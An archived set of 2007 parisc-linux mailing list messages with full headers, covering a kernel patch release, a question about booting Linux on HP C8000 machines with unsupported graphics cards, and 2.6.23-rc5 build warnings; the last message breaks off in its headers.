Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zCmgZrBOeSE4eL6WZHQhBr12IGRvb8B7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24769

This fixes a nullptr deref caused by udev just after userspace entry...
somehow. Bisected to commit to Makefile added build-id notes.

Cheers,
	Kyle

http://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/2.6.23-rc3/v2.6.23-rc3-pa2.diff.bz2

Changes since -pa1:
+parisc/add-notes-section.patch
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rick Vernam <rickv@hobi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting a 9000/785/C8000
Date: Fri, 31 Aug 2007 16:02:02 -0500
Organization: HOBI International, Inc.
Lines: 47
Approved: news@gmane.org
Message-ID: <200708311602.04193.rickv__15920.7046185204$1416624430$gmane$org@hobi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624430 24936 80.91.229.3 (22 Nov 2014 02:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2007 21:02:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 31 Aug 2007 23:02:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCD2B7D7E2;
	Fri, 31 Aug 2007 15:02:36 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1lQkfH6cKe8N; Fri, 31 Aug 2007 15:02:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7398F7D7E4;
	Fri, 31 Aug 2007 15:02:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD97A7D7E0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Aug 2007 15:02:18 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ALIJ5dT+2sCl for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Aug 2007 15:02:06 -0600 (MDT)
Original-Received: from hobi.com (hobi.com [130.94.185.247])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED8E7D7DF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Aug 2007 15:02:06 -0600 (MDT)
Original-Received: (qmail 32549 invoked by uid 14839); 31 Aug 2007 21:02:05 -0000
Original-Received: from unknown (HELO ricklap) ([68.23.60.237])
	(envelope-sender <rickv@hobi.com>)
	by 130.94.185.247 (qmail-ldap-1.03) with SMTP
	for <parisc-linux@lists.parisc-linux.org>; 31 Aug 2007 21:02:05 -0000
User-Agent: KMail/1.9.7
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ke2zLpRGTlIuYLeQeGhr7cZGU2poZRlc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24770

I'm new to parisc (hppa) machines - never touched one before.
I'm trying to boot into linux so that i can do a simple
	dd if=/dev/null of=/dev/[hard drive]
I have about 25-30 machines to work on, so I'm looking for a rather clean 
solution :-)

I've tried both Gentoo's and Debian's hppa offerings, but am having the same 
problems on both (i've used gentoo x86/amd64 for years...):
1 - I can boot with 'console=tty0 sti=0/4/0/0' (as added by palo) and the boot 
process will stop with
	Console: colour dummy device 160x64
at this point, it is not hard locked - I can ctrl-alt-del to reboot.  it would 
probably sit there indefinitely - I did leave it for about 16-18 hours 
(running when I left work, still there the next day).
2 - I can boot without the 'console=tty0' and the kernel will load, but then 
fail when it can't find initial console (panic: kernel not syncing).

I've tried with both the AGP 8x Fire GL X1 that comes in the machine, and a 
PCI Rage XL of some sort.

The Gentoo kernel is 2.6.20 (most recent livecd, 2007.0), and debian's is also 
recent cd with 2.6.18 kernel.
In both cases, the complete kernel command line were pretty much the same 
(maybe they varied in looptype? ...and order of arguments)

TERM=linux root=/dev/ram0 init=/linuxrc cdroot looptype=normal 
loop=/image.loop hda=scsi hdb=scsi console=tty0 sti=/0/4/0/0 sti_font=VGA8x16 
palo_kernel=0/vmlinux

while it is doing whatever it does prior to when it can be stopped to specify 
a boot path (analogous to x86 post?) it does say something along the lines 
of:
	console device			graph3
						0/4/0/0.0
	current console device	graph3
						0/04/0/0.256

So, upon seeing that tried to set the sti= kernel arg to those values, but 
found the same results.

anybody, anything?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.23-rc5 warnings
Date: Mon, 3 Sep 2007 18:45:02 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200709032245.l83Mj2cU010914__10895.4125702896$1416624430$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624430 24938 80.91.229.3 (22 Nov 2014 02:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2007 22:45:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 04 Sep 2007 00:45:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 494D27D87A;
	Mon,  3 Sep 2007 16:45:32 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o7PPZBxE4Dwx; Mon,  3 Sep 2007 16:45:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB1777DA86;
	Mon,  3 Sep 2007 16:45:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0AB67D7C6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 16:45:15 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OMViTGVJMP0x for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 16:45:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4C6C27D78E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 16:45:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l83Mj265010917
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Sep 2007 18:45:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l83Mj2cU010914
	for parisc-linux@lists.parisc-linux.org;
	Mon, 3 Sep 2007 18:45:02 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p7bpcpBZRkkfWauPfGRqOhJmdWkvKBMb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24771

Some section mismatches in 64-bit kernel build:

WARNING: vmlinux.o(.text+0xb0): Section mismatch: reference to .init.text:start_
kernel (between '$pgt_fill_loop' and 'common_stext')
WARNING: vmlinux.o(.text+0xb4): Section mismatch: reference to .init.text:start_
kernel (between '$pgt_fill_loop' and 'common_stext')
WARNING: vmlinux.o(.text+0x290): Section mismatch: reference to .init.text:smp_c
allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
WARNING: vmlinux.o(.text+0x294): Section mismatch: reference to .init.text:smp_c
allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
WARNING: vmlinux.o(.text.write_profile+0x19c): Section mismatch: reference to .i
nit.text:setup_profiling_timer (after 'write_profile')

I think there was a warning about a missing syscall fallocate.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.23-rc5 warnings
Date: Mon, 3 Sep 2007 21:19:34 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200709040119.l841JYIV015690__18963.691176805$1416624430$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624430 24941 80.91.229.3 (22 Nov 2014 02:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 01:20:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 04 Sep 2007 03:20:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 806E97DADB;
	Mon,  3 Sep 2007 19:20:06 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AvsGvJzKDdZp; Mon,  3 Sep 2007 19:20:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D11EA7DAE4;
	Mon,  3 Sep 2007 19:19:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7CA77DA8C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 19:19:49 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Qnc7XiMOD4sZ for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 19:19:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AE2427DA86
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Sep 2007 19:19:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l841JYUf015691;
	Mon, 3 Sep 2007 21:19:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l841JYIV015690;
	Mon, 3 Sep 2007 21:19:34 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Sep 3, 2007 06:45:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +4vvfuknMmAobLSZZGFnHvsxMjQ1Nx3a
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24772

Thumbs down on 2.6.23-rc5.  I had segmentation faults in tools like
'make' twice in a row.  Back to 2.6.22.6.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting a 9000/785/C8000
Date: Tue, 4 Sep 2007 22:17:56 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <200709042217.57061.deller__33247.2069575035$1416624431$gmane$org@gmx.de>
References: <200708311602.04193.rickv@hobi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624431 24945 80.91.229.3 (22 Nov 2014 02:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 20:18:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx105) with SMTP; 04 Sep 2007 22:18:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 973567D7C6;
	Tue,  4 Sep 2007 14:18:30 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id svc8oysbV0KK; Tue,  4 Sep 2007 14:18:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB6A87DAE6;
	Tue,  4 Sep 2007 14:18:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56F427D705
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:18:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Sbk+JnRKXj4C for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:18:00 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id BD6E87D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:17:59 -0600 (MDT)
Original-Received: (qmail invoked by alias); 04 Sep 2007 20:17:58 -0000
Original-Received: from mnhm-590c3ca4.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.60.164]
	by mail.gmx.net (mp021) with SMTP; 04 Sep 2007 22:17:58 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200708311602.04193.rickv@hobi.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +NSodcRdODBoYrWUfGRMGuM1Ji9SWtIq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24773

On Friday 31 August 2007, Rick Vernam wrote:
> I'm new to parisc (hppa) machines - never touched one before.
> I'm trying to boot into linux so that i can do a simple
> 	dd if=/dev/null of=/dev/[hard drive]
> I have about 25-30 machines to work on, so I'm looking for a rather clean 
> solution :-)
> 
> I've tried both Gentoo's and Debian's hppa offerings, but am having the same 
> problems on both (i've used gentoo x86/amd64 for years...):
> 1 - I can boot with 'console=tty0 sti=0/4/0/0' (as added by palo) and the boot 
> process will stop with
> 	Console: colour dummy device 160x64
> at this point, it is not hard locked - I can ctrl-alt-del to reboot.  it would 
> probably sit there indefinitely - I did leave it for about 16-18 hours 
> (running when I left work, still there the next day).
> 2 - I can boot without the 'console=tty0' and the kernel will load, but then 
> fail when it can't find initial console (panic: kernel not syncing).
> 
> I've tried with both the AGP 8x Fire GL X1 that comes in the machine, and a 
> PCI Rage XL of some sort.
> 
> The Gentoo kernel is 2.6.20 (most recent livecd, 2007.0), and debian's is also 
> recent cd with 2.6.18 kernel.
> In both cases, the complete kernel command line were pretty much the same 
> (maybe they varied in looptype? ...and order of arguments)
> 
> TERM=linux root=/dev/ram0 init=/linuxrc cdroot looptype=normal 
> loop=/image.loop hda=scsi hdb=scsi console=tty0 sti=/0/4/0/0 sti_font=VGA8x16 
> palo_kernel=0/vmlinux
> 
> while it is doing whatever it does prior to when it can be stopped to specify 
> a boot path (analogous to x86 post?) it does say something along the lines 
> of:
> 	console device			graph3
> 						0/4/0/0.0
> 	current console device	graph3
> 						0/04/0/0.256
> 
> So, upon seeing that tried to set the sti= kernel arg to those values, but 
> found the same results.
> 
> anybody, anything?

Yes.
Probably the reason is, that you are using unsupported graphic cards. 
Both, the Fire GL and the Rage XL are not supported, although maybe the Rage XL could be made working (if a developer will/can try).
Please see http://parisc-linux.org/faq/index.html#fxgfx  and  http://parisc-linux.org/faq/graphics-howto.html

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.23-rc5 warnings
Date: Tue, 4 Sep 2007 22:21:18 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200709042221.18878.deller__21263.5603420951$1416624431$gmane$org@gmx.de>
References: <200709032245.l83Mj2cU010914@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624431 24949 80.91.229.3 (22 Nov 2014 02:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 20:21:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 04 Sep 2007 22:21:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DCE57DB51;
	Tue,  4 Sep 2007 14:21:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id V42XsOI1+7uD; Tue,  4 Sep 2007 14:21:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A8BD7DB4C;
	Tue,  4 Sep 2007 14:21:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18E9E7DB4A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:21:33 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6ZcUWrCJTiZt for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:21:21 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 504DC7DB48
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 14:21:21 -0600 (MDT)
Original-Received: (qmail invoked by alias); 04 Sep 2007 20:21:20 -0000
Original-Received: from mnhm-590c3ca4.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.60.164]
	by mail.gmx.net (mp034) with SMTP; 04 Sep 2007 22:21:20 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200709032245.l83Mj2cU010914@hiauly1.hia.nrc.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
